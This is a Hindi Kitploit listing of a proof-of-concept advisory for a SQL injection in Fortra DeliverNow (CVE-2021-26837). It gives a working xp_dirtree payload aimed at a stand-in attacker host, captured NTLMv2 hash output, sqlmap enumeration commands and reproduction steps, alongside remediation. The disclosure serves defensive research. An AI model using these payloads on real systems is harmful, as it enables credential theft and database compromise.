Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-26837 — CVE-2021-26837 - HelpSystems/Fortra DeliverNow के SearchTextbox पैरामीटर में SQL इंजेक्शन। पेलोड, एनोटेटेड अनुरोध और साक्ष्य। संस्करण 1.2.18 में ठीक किया गया। | Kitploit
उपकरण/GitHubGitHub/l0lsec/cve-2021-26837
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनपेनिट्रेशन टेस्टिंग
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - HelpSystems/Fortra DeliverNow के SearchTextbox पैरामीटर में SQL इंजेक्शन। पेलोड, एनोटेटेड अनुरोध और साक्ष्य। संस्करण 1.2.18 में ठीक किया गया।

रिपॉजिटरी देखें
41 महीना पहलेअभी तक समीक्षित नहीं
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-26837

HelpSystems / Fortra DeliverNow में SQL इंजेक्शन

DeliverNow के लॉग खोज पृष्ठ (/LogGrid.aspx) पर SearchTextbox पैरामीटर को बिना किसी पैरामीटराइज़ेशन और बिना सर्वर-साइड सत्यापन के सीधे SQL Server क्वेरी में जोड़ दिया जाता है। एप्लिकेशन परिणामी SQL Server पार्सर त्रुटियों को भी उपयोगकर्ता को वापस प्रदर्शित करता था, और इसी तरह यह बग सबसे पहले स्वयं प्रकट हुआ था।

डेटाबेस कनेक्शन sa के रूप में चलता था, इसलिए इंजेक्शन को इंस्टेंस पर पूर्ण sysadmin अधिकार विरासत में मिले। यह एक हमलावर-नियंत्रित UNC पथ पर master.dbo.xp_dirtree को कॉल करने और SQL Server सेवा खाते को आउटबाउंड प्रमाणीकरण के लिए बाध्य करने के लिए पर्याप्त था।

यह एक आंतरिक पेनेट्रेशन परीक्षण के दौरान पाया गया। विक्रेता द्वारा DeliverNow 1.2.18 में ठीक किया गया और CVE-2021-26837 के रूप में प्रकाशित किया गया।

Show Up Show Out Security के Sedric Louissaint द्वारा खोजा और रिपोर्ट किया गया।


सारांश

CVECVE-2021-26837
उत्पादDeliverNow (HelpSystems, अब Fortra)
प्रभावित1.2.18 से पहले (मूल एडवाइज़री में 1.2.18 और उससे पहले सूचीबद्ध थे)
कमज़ोरीCWE-89: SQL इंजेक्शन
CVSS 3.1 (NVD)9.8 क्रिटिकल CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (शोधकर्ता)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
प्रकाशित2023-09-19
परीक्षण किया गयाWindows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

NVD विवरण:

Fortra (पूर्व में HelpSystems) DeliverNow संस्करण 1.2.18 से पहले के SearchTextBox पैरामीटर में SQL इंजेक्शन कमज़ोरी, हमलावरों को मनमाना कोड निष्पादित करने, विशेषाधिकार बढ़ाने और संवेदनशील जानकारी प्राप्त करने की अनुमति देती है।

तकनीकी विवरण

इंजेक्शन बिंदु

POST /LogGrid.aspx, बॉडी पैरामीटर SearchTextbox। यह फ़ॉर्म एप्लिकेशन के Log दृश्य में खोज नियंत्रण है। ddlFieldName खोजे जाने वाले कॉलम का चयन करता है (नीचे दिए गए अनुरोधों में Description) और SearchTextbox शब्द को वहन करता है।

इसे साबित करने के लिए एक एकल उद्धरण पर्याप्त है:

root@kitploit:~
blah'

प्रतिक्रिया SQL Server पार्सर त्रुटि को सीधे पृष्ठ में प्रदर्शित करती है:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

लॉग खोज में बंद न किया गया उद्धरण चिह्न त्रुटि लौटाना

वह त्रुटि प्रकटीकरण अपने आप में एक निष्कर्ष है। यह उसे, जो अन्यथा एक ब्लाइंड इंजेक्शन होता, पूर्ण रूप से इंटरैक्टिव इंजेक्शन में बदल देता है।

xp_dirtree के माध्यम से आउट-ऑफ-बैंड पुष्टि

चूँकि कनेक्शन sa के रूप में चलता है, master.dbo.xp_dirtree सुलभ है। इसे आपके नियंत्रण वाले होस्ट पर UNC पथ की ओर इंगित करने से SQL Server सेवा खाता SMB के माध्यम से उस होस्ट पर आउटबाउंड प्रमाणीकरण करता है:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

खोज बॉक्स में पेलोड

पूरा अनुरोध poc/exploited-request.http में, पेलोड poc/payloads.sql में।

शोषित HTTP अनुरोध

कैप्चर किया गया प्रमाणीकरण

जब Impacket का smbserver.py सुन रहा था, लक्ष्य का SQL Server सेवा खाता प्रमाणीकरण करता है और एक NTLMv2 हैश लीक करता है:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Impacket के साथ कैप्चर किया गया बलात प्रमाणीकरण

फिर हैश ऑफ़लाइन क्रैकिंग या किसी अन्य होस्ट पर NTLM रिले के लिए उपलब्ध होता है।

विशेषाधिकार संदर्भ

sqlmap इंजेक्शन और विशेषाधिकार स्तर की पुष्टि करता है:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

वर्तमान उपयोगकर्ता sa दिखाने वाली sqlmap गणना

sa का अर्थ है कि इंस्टेंस पर हर लॉगिन हैश पठनीय है, और xp_cmdshell होस्ट पर कमांड निष्पादन से केवल एक sp_configure कॉल की दूरी पर है।

पुनरुत्पादन

ऐसे लैब इंस्टेंस के विरुद्ध जिसके आप स्वामी हैं या जिसके परीक्षण के लिए अधिकृत हैं:

  1. DeliverNow वेब UI (डिफ़ॉल्ट http://<host>:1080/) पर ब्राउज़ करें और Log खोलें।
  2. खोज बॉक्स में blah' दर्ज करें और सबमिट करें। एक कमज़ोर बिल्ड पृष्ठ में SQL Server पार्सर त्रुटि प्रदर्शित करता है।
  3. लक्ष्य द्वारा पहुँच योग्य होस्ट पर एक लिसनर प्रारंभ करें:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. अपना स्वयं का IP प्रतिस्थापित करके poc/payloads.sql से xp_dirtree पेलोड सबमिट करें। एक कमज़ोर बिल्ड SQL Server सेवा खाते से इनबाउंड SMB प्रमाणीकरण उत्पन्न करता है।
  5. वैकल्पिक रूप से सहेजे गए अनुरोध का उपयोग करके sqlmap से पुष्टि करें:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

रिपॉज़िटरी सामग्री

root@kitploit:~
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

कैप्चर में होस्ट और हैश मूल एंगेजमेंट के हैं और बहुत पहले समाप्त हो चुके हैं। पुनरुत्पादन करते समय अपना स्वयं का लिसनर पता प्रतिस्थापित करें।

निवारण

  1. उपयोगकर्ता इनपुट से निर्मित हर क्वेरी के लिए पैरामीटराइज़्ड क्वेरी / प्रिपेयर्ड स्टेटमेंट का उपयोग करें। यही वास्तविक समाधान है। बाकी सब कुछ गहराई में सुरक्षा मात्र है।
  2. सर्वर साइड पर सत्यापित और स्वच्छ करें। POST बॉडी पूरी तरह से हमलावर-नियंत्रित है, चाहे क्लाइंट-साइड फ़ॉर्म कुछ भी अनुमति दे।
  3. sa के रूप में कनेक्ट करना बंद करें। एप्लिकेशन को अपनी स्वयं की तालिकाओं तक पढ़ने और लिखने की पहुँच चाहिए। उसे sysadmin की आवश्यकता नहीं है, और न ही xp_dirtree की। न्यूनतम विशेषाधिकार इंजेक्शन को रोक नहीं पाता, लेकिन उसे सीमित कर देता।
  4. उपयोगकर्ताओं को डेटाबेस त्रुटियाँ प्रदर्शित न करें। उन्हें सर्वर साइड पर लॉग करें और एक सामान्य संदेश लौटाएँ।
  5. नेटवर्क सीमा पर डेटाबेस सर्वरों से आउटबाउंड SMB प्रतिबंधित करें, जिससे यहाँ उपयोग किया गया आउट-ऑफ-बैंड चैनल समाप्त हो जाता है।

विक्रेता द्वारा DeliverNow 1.2.18 में ठीक किया गया। अपग्रेड करें।

समयरेखा

दिनांकघटना
2021एक आंतरिक पेनेट्रेशन परीक्षण के दौरान पाया गया और HelpSystems को रिपोर्ट किया गया
2021DeliverNow 1.2.18 में ठीक किया गया
2023-09-19CVE-2021-26837 NVD पर प्रकाशित, 9.8 क्रिटिकल स्कोर

लेख

  • व्यक्तिगत खाता: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

अस्वीकरण

विक्रेता के निवारण के बाद प्रकाशित, रक्षात्मक और शैक्षिक उपयोग के लिए। यहाँ के पेलोड वर्षों पहले पैच किए गए संस्करण को लक्षित करते हैं। उन्हें उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित प्राधिकरण नहीं है।

टूल डाउनलोड करें